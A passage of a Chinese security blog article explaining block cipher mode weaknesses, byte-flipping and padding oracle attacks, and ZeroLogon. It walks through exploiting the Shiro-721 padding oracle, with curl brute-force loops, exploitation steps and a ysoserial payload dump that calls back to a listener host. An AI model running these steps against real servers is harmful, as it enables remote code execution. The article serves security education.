Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:17630 篇
已收录公众号数量:91 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
阿里云先知 网安寻路人 网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
[密码学系列] 分组密码相关漏洞碎碎念
本文来自公众号:奇安信 CERT   2020.11.24 20:17:32


本文作者  Strawberry@QAX A-TEAM

大家好,今天来聊一下分组密码相关漏洞。分组 密码,属于对称密码算法中的一种,其将明文分成多个等长的模块(block),然后使用指定的加密算法 和对称密钥对每个分组分别加密解密 ,最终经过组合得到密文或明文 。本文将简单介绍几 种分组密码模式 ,并详细分析 Shiro Padding Oracle 漏洞(默认使用 CBC 模式)和 CVE-2020-1472 NetLogon 权限提升漏洞(可选 CFB8 模式),如有不足之处,欢迎批评指正。


声明:本篇文章由 Strawberry@QAX A-TEAM原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。


QAX A-TEAM
大家好,今天来聊一下分组密码相关漏洞。分组密码,属于对称密码算法中的一种,其将明文分成多个等长的模块(block),然后使用指定的加密算法和对称密钥对每个分组分别加密解密,最终经过组合得到密文或明文。DES、3DES、IDEA、AES 等都属于分组密码算法,常见的分组加密模式有:ECB、CBC、CFB、OFB。由于这次要讲的两个漏洞是与模式相关的,具体使用的是什么样的加密算法并不重要,因而下边先简单介绍一下常见的几种模式。

ECB 模式

在 ECB 模式中,按照 Block 长度将明文划分为等长的分组,单独对每一个明文分组进行加密,即可得到相应的密文分组,将所有的密文分组组合起来得到加密后的密文:


解密过程如下,将密文分组分别解密,最终得到明文:


如果明文分组相同,那么经过加密得到的密文分组也是相同的,这容易受到攻击,因而在系统实现中不建议使用这种模式。BIG-IP APM 重定向漏洞 (CVE-2018-5548) 就是由于在对 orig_uri 参数的处理中使用了不安全的 AES ECB 模式而产生的,攻击者可以伪造 orig_uri 参数中经过加密和编码的重定向 URI,经过身份验证的用户在点击链接后被重定向到攻击者指定的恶意网站,相关分析文章如下: http://sbudella.altervista.org/blog/20180911-cve-2018-5548.html

CBC 模式

在 CBC 模式的加密中,首先使用 IV(随机的初始向量)和第一个明文分组进行异或,然后经过加密得到第一个密文分组。在后面的分组加密过程中,每次的输入都是当前明文分组和前一密文分组的异或值,然后对其进行加密得到密文分组,将所有的密文分组进行组合可以得到加密结果。


在解密过程中,分别对每一组密文进行块解密,然后与前一组密文进行异或,第一组密文的解密值要与 IV 进行异或,然后将所有明文分组进行组合还原出明文。



可以发现,当前要计算的明文分组和上一密文分组以及当前密文分组解密的中间值存在异或关系,在当前密文分组保持不变的情况下,当前密文分组解密得到的中间值不变,当前明文分组和上一密文分组为异或关系。由于以上特点,CBC 模式容易受到字节翻转攻击,如果某个分组的明文已知或者可以推测出,可以通过修改前一分组的密文,使得解密后对应位置的明文是攻击者想要的。关于字节翻转攻击,可以看一下这篇文章: https://xz.aliyun.com/t/4552 。如果目标使用特定的加密填充规则(如 PKCS5、PKCS7),则容易受到 Padding Oracle 攻击,攻击者可根据填充是否成功的提示逐字节进行暴力破解,这使得明文分组被推测出,然后可使用字节翻转攻击"加密"任意明文,这些会在后面介绍。


CFB 模式


以下为 CFB 模式加密流程,流程中有一个关键的描述 s,其代表明文分块大小,以比特数为单位。s 取值为 1、8、128 时,分别对应了 1 位 CFB 模式、8 位 CFB 模式以及 128 位 CFB 模式。加密时首先会对 IV 进行块加密,然后取出前 s 个比特(和明文块大小相同),将其与明文分组进行异或得到密文分组,然后在下一轮加密时将 IV 向左移位 s 比特,将之前得到的密文分组填充到后面(s 比特),对新的 IV 进行块加密,重复这个过程,直到所有分组都参与运算。



CFB 模式的解密过程如下,对于第一个分组,首对 IV 进行块加密,取结果的前 s 比特,和第一组密文进行异或得到第一个明文分组;对于其他的分组,取前一分组的 IV 和 密文分组,将 IV 向左移位 s 比特,然后在后面填充前一分组的密文,对新的 IV 进行块加密,取结果的前 s 比特,和当前密文分组进行异或得到当前明文分组。



如果明文分组的长度和 IV 的长度正好相同,如 AES-CFB128 ( s = 128 ) 。那么在加密的过程中,从第二组开始,使用的 IV 就是前一分组的密文。



解密过程如下,可以发现当前明文分组和当前密文分组以及上一密文分组的加密结果存在异或关系。在已知密文的情况下,如果可以猜测出某个分组中的明文,也可以根据异或操作的特点修改其相应密文分组中的值,使得该分组解密出想要的明文。不过由于该密文分组改变,会导致下一分组解密出无效值,但不会影响后续的解密结果。



奇虎 360 核心安全团队在披露 shadowsocks 重定向漏洞时使用了此模式进行演示(实际上也是字节翻转攻击),假设攻击者获取了从 ssserver 发送至 sslocal 的加密后的 HTTP Response,由于可以猜测出响应数据的前 8 个字节 "HTTP/1.1",可以通过将其与第一个密文分组进行异或得到 IV 加密后的前 8 个字节,这允许攻击者任意指定 8 字节以内的明文。由于 sslocal 在向 ssserver 发送请求时,会在请求数据之前加上真实请求服务器的信息,如果使用 IPv4 的话,格式是这样的:[0x01 + IP(4 字节) + port(2 字节)],正好在 8 字节之内,将其与 IV 加密后的前 7 个字节异或,使用该结果替换密文中的前 7 个字节,然后将修改后的数据包发送给 ssserver,这样指定的 IP 就可以收到请求数据 (实际上是之前捕获到响应包解密后的明文数据),由于 CFB 模式的特点,第二个分组会解密失败,但仍可以解密绝大部分数据。在描述这个过程中我忽略了一些操作 (如 IV 分离)。关于这个漏洞还有 httpRequest 解密等思路,这里不过多介绍,具体细节请参看 [这篇文章](https://paper.seebug.org/1122/) ,写的比较清楚。


Secura 的研究人员发现的 ZeroLogon 漏洞也产生于 CFB 模式,确切的说是 AES-128-CFB8,由于在加密过程中,微软将 IV 设置为 0,导致攻击者可以在不知道密码的情况下,获得一个可以预知特定明文加密后的密文的加解密环境。由于在认证过程中 SessionKey 是随机的 (后面会介绍),因而对 IV 进行 AES 块加密得到的结果也是随机的,但由于采用 8 位 CFB 模式,每次只取结果中的第一个字节 (8 比特),这个字节为 X 的概率为 1/256(一个字节可能的结果为 0 ~ 255)。那么我们假设第一轮 IV(全0) 加密结果的第一个字节为 X,我们就知道全 0 的输入可以获得输出 X ,因而我们可以构造 Challenge (随机数, 用来计算共享密钥) 为 XXXXXXXY,使得每一次异或的结果都为 0(除了最后一次,最后一位不参与加密运算),那么每一次加密结果的第一个字节都是 X,和 X 异或之后均为 0,因而每一轮的 "IV" 还是全 0 的,这样就可以得到一个确定的 Credential (密文):00 00 00 00 00 00 00 (X Xor Y)。因而在平均 256 次尝试之后,可以成功使用 00 00 00 00 00 00 00 (X Xor Y) 模式的 Credential 欺骗服务器认证通过,这个漏洞在后面会有具体分析。


OFB 模式


以下为 OFB 模式加密流程,首先对 IV 进行加密,得到的中间值作为下一组块加密的输入,以此类推,相当于生成密钥流。在每个分组中,使用明文分组与相应密钥流块异或得到密文分组。



解密操作就是将加密流程中明文分组和密文分组的位置对调一下,在每个分组中,使用密文分组与相应密钥流块异或得到明文分组。该模式也容易受到字节翻转攻击。



字节翻转攻击


由于出镜率太高,这里以 CBC 模式为例简单讲一下字节翻转攻击原理,如下图所示,Plaintext 中被标记为红色的字节为目标字节,Ciphertext 中被标记为红色的字节为需要调整的字节,修改密文中待调整的字节,使得解密时目标字节为攻击者想要的字节:



攻击的前提是,需要已知一组明文 (Pn) 和密文 (Cn)。根据解密流程,存在以下关系,其中 Cn-1 为前一组密文,D 表示块解密操作,⊕ 表示异或操作:


  D(Cn) ⊕ Cn-1 = Pn


假设这个 P'n 为攻击者期待的明文(先宏观一下,那个字节在里面),根据异或的性质,在等式的左右两边可同时异或 Pn 和 P'n:


  D(Cn) ⊕ Cn-1 ⊕ Pn ⊕ P'n = Pn ⊕ Pn ⊕ P'n  D(Cn) ⊕ Cn-1 ⊕ Pn ⊕ P'n = P'n


由于异或操作的特点,对于其中任意一个字节(索引为x),有:


  D(Cn)[x] ⊕ Cn-1[x] ⊕ Pn[x] ⊕ P'n[x] = P'n[x]


其中,Pn[x] 为已知明文中的目标字节,Cn-1[x] 为已知密文中的待调整字节,P'n[x] 为攻击者期待的字节。那么对比两次的解密公式可知,将 Cn-1[x] 修改为 Cn-1[x] ⊕ Pn[x] ⊕ P'n[x] 就可以使解密后的目标字节为攻击者期待的字节。就是这么简单,喵~


再后面就是两个漏洞的详细分析啦,分别为 Shiro Padding Oracle 漏洞和 CVE-2020-1472 NetLogon 权限提升漏洞。





Shiro Padding Oracle 漏洞



Apache Shiro 是一个强大且易用的 Java 安全框架,用于执行身份验证、授权、密码和会话管理。Apache Shiro cookie 中的使用 AES-128-CBC 模式加密的 rememberMe 字段存在问题,容易受到 Padding Oracle 攻击。攻击者可以使用有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后构造恶意的 rememberMe 来执行 Java 反序列化攻击,最终可导致远程代码执行。


攻击者可以通过以下步骤完成攻击:

  • 登录网站,并从 cookie 中获取 rememberMe

  • 使用 rememberMe cookie 作为 Padding Oracle 攻击的前缀

  • 通过 Padding Oracle 攻击加密一条 ysoserial(知名的Java反序列化验证和利用工具)中的 Java 序列化 Payload 来构造恶意 rememberMe

  • 使用刚刚构造的恶意 rememberMe 重新请求网站,进行反序列化攻击,最终导致远程代码执行


来,一起了解一下上面提及的 CBC 分组加密、PKCS5 填充以及 Padding Oracle 利用原理。


CBC 密码分组模式


以下为其加密过程,首先将明文分组,明文的长度应为 block 块大小的整数倍。每次块加密的输入是当前明文分组和前一分组的加密结果的异或值(第一次除外)。第一次采用随机化的 IV 和明文分组进行异或运算,然后对其进行加密得到密文分组。



使用公式表达如下,其中 Pn 表示第 n 块明文分组,Cn 表示第 n 块密文分组。E 表示加密运算:


  C1 = E(P1 ⊕ IV)  C2 = E(P2 ⊕ C1)  ......  Cn = E(Pn ⊕ Cn-1)


解密过程为加密过程的逆运算,即分别对每一组密文进行解密运算,然后与前一组密文进行异或得到明文分组,第一组密文的解密值与 IV 进行异或得到第一组明文。



解密过程的运算如下,其中 Pn 表示第 n 块明文分组,Cn 表示第 n 块密文分组。D 表示解密运算:


  P1 = D(C1) ⊕ IV  P2 = D(C2) ⊕ C1  ......  Pn = D(Cn) ⊕ Cn-1


PKCS7 & PKCS5 填充


以下为 [RFC](https://tools.ietf.org/html/rfc5652#section-6.3) 中关于 PKCS7 的具体填充过程,如果数据长度需要为 k 的整数倍,而实际明文长度为 length 时,则需要 在数据末尾填充 k -(length mod k)字节个  k -(length mod k)。如果缺 1 个字节,则在末尾填充 1 个 1,如果长度正好为 k 的倍数,则填充 k 个 k:



其中,k 需小于 256,因为单个字节的上限为 0xFF(255)。


在 PKCS5 中,将 k 固定为 8,如下所示:



如果采用 AES 算法,由于其 blocksize 为16,采用 PKCS5 或是 PKCS7 填充并没有什么区别(k 都为16)。


Padding Oracle 利用


在 Eurocrypt 2002 大会上,Vaudenay 介绍了针对 CBC 模式的 "Padding OracleAttack"。攻击者可以在不知道密钥的情况下,通过对 padding bytes 进行尝试,从而还原明文或构造出任意明文的密文。


当应用程序接受到加密后的值以后,可能有以下三种返回:


  • 接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回:200 OK。

  • 接受到合法的密文(填充正确,但解密后得到一个非法的值),应用程序显示自定义错误消息:200 OK。

  • 接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常:500 Internal Server Error。


在不知道 KEY [和 IV] 的情况下,直接构造密文使得服务端正常返回基本上是不可能的。但由于 Padding Oracle 漏洞,解密出的明文填充的正确与否可通过服务端的响应进行区分。通过不断调整发送的密文分组,然后根据服务端的结果进行爆破测试,可推测出确定的解密值。下面会介绍 Padding Oracle 加解密攻击原理。


Padding Oracle 解密


首先回顾一下,分组加解密的计算公式,以最后一组为例,其中密文是已知的,在这里 Cn 和 Cn-1 是已知的:


  Cn = E(Pn ⊕ Cn-1)  Pn = D(Cn) ⊕ Cn-1


我们从密文的最后取出 Cn 和 Cn-1(当 n 为 1 时,取出 C1 和 IV),然后以 C'n-1 | Cn 作为密文向服务器发起请求,只有当解密后的 P'n 满足填充规则时,服务端才不会返回 500 错误,将 C'n-1 代入解密公式如下:


  P'n = D(Cn) ⊕ C'n-1


由于 Cn = E(Pn ⊕ Cn-1),代入公式如下:


  P'n = D(E(Pn ⊕ Cn-1)) ⊕ C'n-1 = Pn ⊕ Cn-1 ⊕ C'n-1


可根据服务端返回来推测 P'n,而 C'n-1(测试所得)、Cn-1 已知,所以可求得:


  Pn = P'n ⊕ Cn-1 ⊕ C'n-1


对于第一个分组 :


  P1 = P'1 ⊕ IV ⊕ IV'


由此可见,当我们通过测试得到确定的 P'n 以及与其对应的 C'n-1 ,可通过对几个已知的值进行异或得到明文。理论上讲完了,下面讲个例子,使用 AES-128-CBC 进行加密,参数的 Hex 表示如下:


iv: 31313131313131313131313131313131key: 31313131313131313131313131313131   //不重要text: 6173646667686a6b7a07070707070707  //'asdfghjkz\x07\x07\x07\x07\x07\x07\x07'ciphertext: a742b9be55089da3bf0b393de8221ef0


由于这个例子里只有一个分组,我们使用 IV 来推算 P1。我们将 IV' 设置为 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [00] 。利用 Padding Oracle 先求得最后一位,当解密数据的最后一位为 01 时,服务端不会返回 500 错误,或者解密数据的最后两位为 02 02,不过这种情况发生的概率很低,如果出现两次尝试都能成功的情况,就换一个 IV' ( 相关代码可以自己实现一下 )。


如下,当 IV' 最后一个字节为 0x37 时,解密数据最后一位为 1,满足填充规则,此时 IV'[16] = 0x37,IV[16] = 0x31,P'1[16] = 1,求得 P1[16] = P'1[16] ⊕ IV[16] ⊕ IV'[16] = 1 ⊕ 0x31⊕ 0x37 = 7。这样就求得了明文的最后一位填充。


// 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [?] 0x0 5042555756595b5a4b36363636363636......0x34 5042555756595b5a4b36363636363602......0x37 5042555756595b5a4b36363636363601    //成功// 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [37]


下面再来算明文的倒数第二位,首先要设置最后一位,使解密后得到结果的最后一位为 2,由于 P1[16] = P'1[16] ⊕ IV[16] ⊕ IV'[16],我们令 P'1[16] = 2,那么 IV'[16] = P1[16] ⊕ P'1[16] ⊕ IV[16] = 7 ⊕ 2 ⊕ 0x31 = 0x34。这里也可利用字节翻转公式来计算新的 IV'[16],将 IV'[16] 设置为 IV'[16]  ⊕ 1 ⊕ 2,即 0x37 ⊕ 1 ⊕ 2 = 0x34。将 IV' 设置为 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [00] 34,来测试下一个满足填充规则的 IV' 字节,结果如下:


// 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [?] 340x34 5042555756595b5a4b36363636360202// 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [34] 34


因而,P1[15] = P'1[15] ⊕ IV[15] ⊕ IV'[15] = 2 ⊕ 0x31⊕ 0x34 = 7。


以此类推,可求出所有的 IV',然后计算可得明文。如果有多个分组,可按照刚才的方法逐个分组求解。


Padding Oracle 加密


Padding Oracle 攻击也可以被用来加密。我们再来看一下解密过程,分开看每一块的解密,会将前一个密文分组和当前分组解密后的数据进行异或,如果当前分组固定,其解密出的中间值也是固定的,那么此明文分组只与上一组密文相关(异或关系),又因为解密出的明文分组 P'n 是可以通过 Padding Oracle 进行判断的,所以可通过固定 C'n (这种场景下密文是未知的),然后测试以得到使 P'n 可猜解的 C'n-1,然后通过字节翻转公式去计算使解密结果为 Pn 的 C''n-1。这样我们可以从后往前推,每次都能利用 Padding Oracle 以及字节翻转计算出前一密文分组,然后在下一次测试时把它作为当前固定的密文分组,重复这个过程直到所有明文分组加密完成,最终组合出的密文可解密出目标明文。这样可以在不知道 Key 的情况下加密任意数据。这个过程只能是从后往前,因为当前密文分组在选定后就不能更改,如果从前往后,会在选定下一分组数据的时候,破坏了前一组的结果。



测试的模式还是 C'n-1 | C'n ,通过服务器返回调整 C'n-1 数据,使得 P'n 满足 Padding Oracle 规则,由于 P'n ⊕ C'n-1 = D(C'n),我们保持 C'n 不变,不断调整 C'n-1,找到一组 C'n-1 | C'n 使得解密出来的 P'n 为 08 08 08 08 08 08 08 08(假设 block size 为 8,懒得打 16 个 0x10,嘿嘿嘿),可将 C'n-1 异或 08 08 08 08 08 08 08 08(P'n)再异或 Pn,这样可使密文解密出来的结果为 Pn (这个结论真的是反反复复唠叨好几遍了)。


假设我们得到使解密出来的 P'n 为 08 08 08 08 08 08 08 08 的 C'n-1,如下所示,其中 P'n = 08 08 08 08 08 08 08 08 :


 P'n ⊕ C'n-1 = D(C'n)


我们令 C'n 不变,改变 C'n-1 (把它变成 C''n-1,C''n-1 = C'n-1 ⊕ 08 08 08 08 08 08 08 08 ⊕ Pn ),那么相应地,P'n 也变成 P''n:


 P''n ⊕ C''n-1 = D(C'n)


将 C''n-1 = C'n-1 ⊕ 08 08 08 08 08 08 08 08 ⊕ Pn、 P'n = 08 08 08 08 08 08 08 08  代入上面公式:


P''n ⊕ C'n-1 ⊕ 08 08 08 08 08 08 08 08 ⊕ Pn = D(C'n)P''n ⊕ C'n-1 ⊕ P'n ⊕ Pn = D(C'n)


由于 P'n ⊕ C'n-1 = D(C'n),所以当前一密文分组取 C''n-1 时,得到的明文分组为 Pn:


P''n ⊕ Pn = 0P''n = Pn


这里使用 AES-256-CBC 算法进行测试,因为 Github 上已经有极简的 [服务端代码](https://github.com/iagox86/poracle/blob/master/RemoteTestServer.rb) 了 。这里选择的明文为 "testyyyyyyyyt",经过填充得到 "testyyyyyyyyt\x03\x03\x03"。测试模式为 C'n-1 | C'n ,保持 C'n 不变,然后通过服务端返回来调整 C'n-1 数据。首先确定 C'n-1 最后一个字节,使 C'n-1[16] ⊕ D(C'n)[16] = 1(即 P'n[16] 为 1),如下,当 C'n-1[16] 为 0xb0 时,P'n[16] 为 1:


➜  Desktop for i in `seq 0 255`; doURL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`echo $URLcurl "$URL"echo ''done
http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141Fail!......http://localhost:20222/decrypt/000000000000000000000000000000b041414141414141414141414141414141Success!


然后再计算 C'n-1[15] ,当前 P'n[16] 为 1,C'n-1[16] 为 0xb0 ,若令P'n[16] 为 2,则令 C''n-1[16]  = C'n-1[16] ⊕ 1 ⊕ 2,即 0xb0 ⊕ 1 ⊕ 2 = 0xb3。因而将其填充至最后一字节,然后测试倒数第二个字节,以下为 P'n 填充 2 个字节 2 时 C'n-1[15] 的计算结果(0x50):


➜  Desktop for i in `seq 0 255`; doURL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02xb341414141414141414141414141414141" $i`echo $URLcurl "$URL"echo ''done
http://localhost:20222/decrypt/000000000000000000000000000000b341414141414141414141414141414141Fail!......http://localhost:20222/decrypt/000000000000000000000000000050b341414141414141414141414141414141Success!


重复上述过程,可以得到使 P'n 为 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 的 C'n-1:89 da 53 b5 90 82 2d 80 3e d9 84 10 ba d4 42 a1。


➜  Desktop for i in `seq 0 255`; doURL=`printf "http://localhost:20222/decrypt/%02xda53b590822d803ed98410bad442a141414141414141414141414141414141" $i`echo $URLcurl "$URL"echo ''donehttp://localhost:20222/decrypt/00da53b590822d803ed98410bad442a141414141414141414141414141414141Fail!......http://localhost:20222/decrypt/89da53b590822d803ed98410bad442a141414141414141414141414141414141Success!


使用 "testyyyyyyyyt\x03\x03\x03" 与其异或,得到 ed af 30 d1 f9 eb 44 e9 57 b0 ed 79 de c7 51 b2,使用新的 C'n-1 | C'n 发起请求,查看服务端日志可发现成功解密出明文 "testyyyyyyyyt",不过后面填充的数据被去掉了,前面还有 16 字节其他数据,这是因为第一个密文分组也和 IV 一起参与解密运算了:


➜  Desktop curl http://localhost:20222/decrypt/edaf30d1f9eb44e957b0ed79dec751b241414141414141414141414141414141Success!% 
// log data127.0.0.1 - - [27/Oct/2020:20:30:58 -0700] "GET /decrypt/89da53b590822d803ed98410bad442a141414141414141414141414141414141 HTTP/1.1" 200 8 0.0005127.0.0.1 - - [27/Oct/2020:20:30:58 PDT] "GET /decrypt/89da53b590822d803ed98410bad442a141414141414141414141414141414141 HTTP/1.1" 200 8- -> /decrypt/89da53b590822d803ed98410bad442a141414141414141414141414141414141Result: "1887d2294fb74fb257401448799a2d8c74657374797979797979797974"plaintext: "��)O�O�W@Hy�-�testyyyyyyyyt"SUCCESS


如有多个分组,可使  C'n-1 为新的 C'n ,继续调整新的 C'n-1,使得解密出来的数据为 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ,然后将 C'n-1 与 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 以及相应明文分组进行异或,然后更新自身,重复这个过程,直到计算出所有分组的加密数据。


Shiro Padding Oracle 漏洞分析与复现


服务端的不同返回


如果请求时的 rememberMe cookie 是正确的,服务端的响应应该是这样的:



如果请求时的 rememberMe cookie 是不正确的(包括填充错误和 cookie 错误),服务端的响应中会出现 Set-Cookie 字段和 'deleteMe' 字符串,如下所示:



如果 cookie 部分完整,后面添加一些数据,整体满足填充规则,服务端返回的也是正常响应。这是利用的关键,因而利用此漏洞需要获取一个合法的 rememberMe cookie。


cookie 验证的几个关键点


1、首先,获取 cookie,然后进行 base64 解密:



2、取前 16 字节作为 IV,剩下的数据作为密文:



3、使用 AES-128-CBC 模式解密,并判断是否满足 PKCS5Padding标准:



PS:由于 AES 的块大小为 16,在这种场景下,PKCS5 的 k 也为 16,如下所示:



4、如果解密成功且填充正确,则反序列化对象:




这个流程给了我们机会来反序列化恶意对象,只要我们能够搞定序列化数据的加密及填充(Key 未知)。而如果我们拥有一个合法的 rememberMe cookie,就可以利用 Padding Oracle 攻击在 Key 未知的情况下加密任意数据,原理和之前讲的是一样的。


大致攻击步骤如下,POC 链接为: https://github.com/inspiringz/Shiro-721

  • 获取一个合法的 rememberMe cookie

  • 使用 ysoserial 生成 JRMPClient Payloads

  • 运行 python shiro_exp.py <url> <rememberMe cookie> <payload>,得到加密的 Payload(使用 rememberMe cookie 作为前缀,每次加密一个分组)

  • 使用 ysoserial.exploit.JRMPListener 监听端口,等待客户端连接

  • 重新请求服务端,以加密的 Payload 作为 rememberMe cookie ,进行反序列化攻击


调试分析


首先,获取一个合法 IV + cookie (base64 加密):


base64 后的 cookie:wr7YjlctBlwPxHyuBLK8EIS/13Va5SLbLNSvmcxMHYZRqMCgBHE8FUcE2IJrcbMWCOheqHqoU3l1+bMfhe9PASklDXqa87sHCX8mN9Yod/krz9vUMnabwND55iAA9TvyehlZRHr9xBn+5rVh52XSWpX9Bte9ldMxpyAcqzIgYYNlrdKPztp7oxkuC8zOnZk+Plaky8cSbXW+nwsj2ZVT/tt5pXrp/zH+8WhkQaaL5Xwp5t9iHZ/sp7SKJVV6JuDH2bdMKLfc54waBqNzt2amJm1JGcqnDjzWn2iJIeqKxDzE7ZZXdSFr0umJzfmyw4j5+fw48I4AEQUUCVwnJ15UQxcZqBehG31UPq4RrGwVi6s4cYOAuIS6UFnHiZ7TNwj9TYXNK7Q88CaLAaDqOnksOuk2Vpk3vur7TKXiOHP+Cwq1T6Hpf2zwVA12wftpQk6USskZu0Gs/t97YxyEOB3bx8gzs4FpH2Xfl3y0+F3jCUtBS0I7wXRsLzKbEy4yahl4
base64 解密,后面会用到:'\xc2\xbe\xd8\x8eW-\x06\\\x0f\xc4|\xae\x04\xb2\xbc\x10\x84\xbf\xd7uZ\xe5"\xdb,\xd4\xaf\x99\xccL\x1d\x86Q\xa8\xc0\xa0\x04q<\x15G\x04\xd8\x82kq\xb3\x16\x08\xe8^\xa8z\xa8Syu\xf9\xb3\x1f\x85\xefO\x01)%\rz\x9a\xf3\xbb\x07\t\x7f&7\xd6(w\xf9+\xcf\xdb\xd42v\x9b\xc0\xd0\xf9\xe6 \x00\xf5;\xf2z\x19YDz\xfd\xc4\x19\xfe\xe6\xb5a\xe7e\xd2Z\x95\xfd\x06\xd7\xbd\x95\xd31\xa7 \x1c\xab2 a\x83e\xad\xd2\x8f\xce\xda{\xa3\x19.\x0b\xcc\xce\x9d\x99>>V\xa4\xcb\xc7\x12mu\xbe\x9f\x0b#\xd9\x95S\xfe\xdby\xa5z\xe9\xff1\xfe\xf1hdA\xa6\x8b\xe5|)\xe6\xdfb\x1d\x9f\xec\xa7\xb4\x8a%Uz&\xe0\xc7\xd9\xb7L(\xb7\xdc\xe7\x8c\x1a\x06\xa3s\xb7f\xa6&mI\x19\xca\xa7\x0e<\xd6\x9fh\x89!\xea\x8a\xc4<\xc4\xed\x96Wu!k\xd2\xe9\x89\xcd\xf9\xb2\xc3\x88\xf9\xf9\xfc8\xf0\x8e\x00\x11\x05\x14\t\\\'\'^TC\x17\x19\xa8\x17\xa1\x1b}T>\xae\x11\xacl\x15\x8b\xab8q\x83\x80\xb8\x84\xbaPY\xc7\x89\x9e\xd37\x08\xfdM\x85\xcd+\xb4<\xf0&\x8b\x01\xa0\xea:y,:\xe96V\x997\xbe\xea\xfbL\xa5\xe28s\xfe\x0b\n\xb5O\xa1\xe9\x7fl\xf0T\rv\xc1\xfbiBN\x94J\xc9\x19\xbbA\xac\xfe\xdf{c\x1c\x848\x1d\xdb\xc7\xc83\xb3\x81i\x1fe\xdf\x97|\xb4\xf8]\xe3\tKAKB;\xc1tl/2\x9b\x13.2j\x19x'


其 AES-128-CBC 解密如下,由于序列化后的数据长度正好是 16 的整数倍,所以在后面填充了 16 个 0x10:



以下为待加密的 payload,如果将每 16 个字节划为一个块,按照填充规则,则需要在末尾添加 "\x02\x02":


root@kalilili:~/Desktop/Shiro-721# xxd payload.ser 00000000: aced 0005 737d 0000 0001 001a 6a61 7661  ....s}......java00000010: 2e72 6d69 2e72 6567 6973 7472 792e 5265  .rmi.registry.Re00000020: 6769 7374 7279 7872 0017 6a61 7661 2e6c  gistryxr..java.l00000030: 616e 672e 7265 666c 6563 742e 5072 6f78  ang.reflect.Prox00000040: 79e1 27da 20cc 1043 cb02 0001 4c00 0168  y.'. ..C....L..h00000050: 7400 254c 6a61 7661 2f6c 616e 672f 7265  t.%Ljava/lang/re00000060: 666c 6563 742f 496e 766f 6361 7469 6f6e  flect/Invocation00000070: 4861 6e64 6c65 723b 7870 7372 002d 6a61  Handler;xpsr.-ja00000080: 7661 2e72 6d69 2e73 6572 7665 722e 5265  va.rmi.server.Re00000090: 6d6f 7465 4f62 6a65 6374 496e 766f 6361  moteObjectInvoca000000a0: 7469 6f6e 4861 6e64 6c65 7200 0000 0000  tionHandler.....000000b0: 0000 0202 0000 7872 001c 6a61 7661 2e72  ......xr..java.r000000c0: 6d69 2e73 6572 7665 722e 5265 6d6f 7465  mi.server.Remote000000d0: 4f62 6a65 6374 d361 b491 0c61 331e 0300  Object.a...a3...000000e0: 0078 7077 3800 0a55 6e69 6361 7374 5265  .xpw8..UnicastRe000000f0: 6600 0f31 3932 2e31 3638 2e31 3430 2e32  f..192.168.140.200000100: 3234 0000 0539 ffff ffff f5f8 0aac 0000  24...9..........00000110: 0000 0000 0000 0000 0000 0000 0078       .............x


下面我们对 payload 的最后一个块(00 00 00 00 00 00 00 00 00 00 00 00 00 78  02 02)进行加密,首先在 base64 解密后的 cookie 末尾加上 C'n-1 | C'n(初始均为0),如下所示:


base64 解密后的 cookie:'\xc2\xbe\xd8\x8eW-\x06\\\x0f\xc4|\xae\x04\xb2\xbc\x10\x84\xbf\xd7uZ\xe5"\xdb,\xd4\xaf\x99\xccL\x1d\x86Q\xa8\xc0\xa0\x04q<\x15G\x04\xd8\x82kq\xb3\x16\x08\xe8^\xa8z\xa8Syu\xf9\xb3\x1f\x85\xefO\x01)%\rz\x9a\xf3\xbb\x07\t\x7f&7\xd6(w\xf9+\xcf\xdb\xd42v\x9b\xc0\xd0\xf9\xe6 \x00\xf5;\xf2z\x19YDz\xfd\xc4\x19\xfe\xe6\xb5a\xe7e\xd2Z\x95\xfd\x06\xd7\xbd\x95\xd31\xa7 \x1c\xab2 